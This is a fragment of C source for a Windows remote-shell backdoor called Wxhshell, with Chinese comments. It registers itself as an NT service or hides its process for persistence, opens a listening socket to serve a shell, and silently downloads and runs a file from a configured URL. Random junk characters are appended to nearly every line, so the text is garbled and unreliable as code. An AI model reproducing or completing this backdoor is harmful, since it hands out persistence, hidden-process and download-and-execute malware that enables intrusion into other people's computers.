PROCNTQSIP NtQueryInformationProcess; (8JU!lin
5G*cAlU
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; } p'ZMj&
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;hX( /T
vjGQ! xF
HANDLE hProcess; 0Z9DewwP
PROCESS_BASIC_INFORMATION pbi; Z .6dL
hi0HEm\
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ' [
4;QYw
if(NULL == hInst ) return 0; G21o@38e
yp.K-
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `Z?wj@H1`
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2@D`^]]
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); do}LaUz
`C+<!)2
if (!NtQueryInformationProcess) return 0; @!#e\tx
T
pkSY`T
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jhNFaBrS
if(!hProcess) return 0; u*l|MIi6J
L_8zZ8 o
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $7S"4rou
g7*)|FOb
CloseHandle(hProcess); ,^#Jw`w^
g{65 QP
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); @X2*O9
if(hProcess==NULL) return 0; _!\d?]Ya
(\9`$
HMODULE hMod; e#(Ck{e
char procName[255]; X
W)TI
unsigned long cbNeeded; Kx__&a
j i"g)d6
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 7RAB"T;?Q
IS bs l=F
CloseHandle(hProcess); &],uD3:5O
=!O->C:
if(strstr(procName,"services")) return 1; // 以服务启动 #o.e
(C
>ZgzE
return 0; // 注册表启动 z$32rt8{`v
} k_al*iM>H
>qjV{M
// 主模块 Hcq.Lq;2:
int StartWxhshell(LPSTR lpCmdLine) 'rD6MY
{ La26"C"X
SOCKET wsl; P3$eomX'
BOOL val=TRUE; <B"sp r&1
int port=0; (q>
TKM
struct sockaddr_in door; /0h
*(nL
<j'V}|3
if(wscfg.ws_autoins) Install(); p\6cpf
a V3:{oL
port=atoi(lpCmdLine); vJkc/7
N%y i4
if(port<=0) port=wscfg.ws_port; XpQ Ol
S&op|Z)1
WSADATA data; U=on}W3V2
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gV_/t+jI
^u/%zL
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; a^|DD#5
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); dhl[=Y`
Q
door.sin_family = AF_INET; g*|j+<:7
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %\As
door.sin_port = htons(port); \{,TpK.
W.7rHa
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {|+Y;V`
closesocket(wsl); iTVe8eI
return 1; I$n=>s
} d"$8-_K
"n-'?W!
if(listen(wsl,2) == INVALID_SOCKET) { S;Bk/\2
closesocket(wsl); y}Ky<%A!P
return 1; n\#YGL<n
} 29R-Up!SVN
Wxhshell(wsl); WL$^B@gXQ
WSACleanup(); INZVe(z
yqK4 "F&
return 0; 6K $mW
\u3\ TJ
} Pf?kNJ*Tv)
*dzZOe>,
// 以NT服务方式启动 E*_^+ %
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ));#oQol9
{ +8=$-E=
DWORD status = 0; =lXj%V^8N
DWORD specificError = 0xfffffff; ?0tg}0|
da{]B5p\
serviceStatus.dwServiceType = SERVICE_WIN32;
$EMOz=)I#
serviceStatus.dwCurrentState = SERVICE_START_PENDING; s:`i~hjq
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 85{m+1O~
serviceStatus.dwWin32ExitCode = 0; o9?@jjqH
serviceStatus.dwServiceSpecificExitCode = 0; +>w]T\[1~
serviceStatus.dwCheckPoint = 0; ]6&NIz`:,
serviceStatus.dwWaitHint = 0; \>L,X_DL
r );R/)&
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /Y Kd [RQ
if (hServiceStatusHandle==0) return; d1/emwH
D)_
C@*q
status = GetLastError(); Rd?}<L
if (status!=NO_ERROR) k_=SDm a
{ NzRvb j]
serviceStatus.dwCurrentState = SERVICE_STOPPED; rCyb3,W
serviceStatus.dwCheckPoint = 0; OI R5QH
serviceStatus.dwWaitHint = 0; ]n ?x tI
serviceStatus.dwWin32ExitCode = status;
w-jElV
serviceStatus.dwServiceSpecificExitCode = specificError; 0MQ= Rt
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #F*|@
return; o3ZN0j69|
} l/$GF|`U
0r]n
0?x
serviceStatus.dwCurrentState = SERVICE_RUNNING; <J[le=
serviceStatus.dwCheckPoint = 0; @0`A!5h?u
serviceStatus.dwWaitHint = 0; TFVQfj$r
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FR(W.5[
} =O/Bte.
vNv?trw
// 处理NT服务事件,比如:启动、停止 T}~TW26v
VOID WINAPI NTServiceHandler(DWORD fdwControl) BT{;^Hp
{ J=V
switch(fdwControl) gmTBT#{6yH
{ \}-4(Xdaq
case SERVICE_CONTROL_STOP: y)f.ON36I
serviceStatus.dwWin32ExitCode = 0; !`ol&QQ#
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1I Yip\:lS
serviceStatus.dwCheckPoint = 0; Pms@!yce
serviceStatus.dwWaitHint = 0; ^<]'?4m]
{ R^Rc!G}
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `i{d"H0E
} B`tq*T%
return; y48]|%73
case SERVICE_CONTROL_PAUSE: a|ft l&uk
serviceStatus.dwCurrentState = SERVICE_PAUSED; KaIKb=4L|
break; e~h>b.~
case SERVICE_CONTROL_CONTINUE: owVvbC2<b(
serviceStatus.dwCurrentState = SERVICE_RUNNING; H$6RDMU
break; wNONh`b
case SERVICE_CONTROL_INTERROGATE: ,'NasL8?We
break; .^YxhUH,G
}; p_r` "
SetServiceStatus(hServiceStatusHandle, &serviceStatus); $QX$r N
} ROO*/OOd
?7{U=1gb$
// 标准应用程序主函数 5Z=4%P*I
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f^%3zWp|-
{ PSrx!
&\zYbGU
// 获取操作系统版本 F<4rn
OsIsNt=GetOsVer(); ;w{<1NH2+.
GetModuleFileName(NULL,ExeFile,MAX_PATH); `CK~x=
uf(ayDE
// 从命令行安装 :XKYfc_y
if(strpbrk(lpCmdLine,"iI")) Install(); ~G@NWF?7
[%IOB/{N
// 下载执行文件 Da^q9,|
if(wscfg.ws_downexe) { + a#&W}K
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;i{B,!#
WinExec(wscfg.ws_filenam,SW_HIDE); H7O~So*N5
} =4ygbk
*MJm:
if(!OsIsNt) { v|?@k^Ms
// 如果时win9x,隐藏进程并且设置为注册表启动 'Kelq$dn#
HideProc(); 68%aDs
StartWxhshell(lpCmdLine); *4O=4F)x
} dQX-s=XJ
else D{9a'0J
if(StartFromService()) egmUUuO
// 以服务方式启动 zcpL[@B
StartServiceCtrlDispatcher(DispatchTable); u#05`i:Z
else !_glZ*tL
// 普通方式启动 Q+CJd>B
StartWxhshell(lpCmdLine); ; :e7Z^\/k
! FcGa
return 0; :4AQhn^;"
}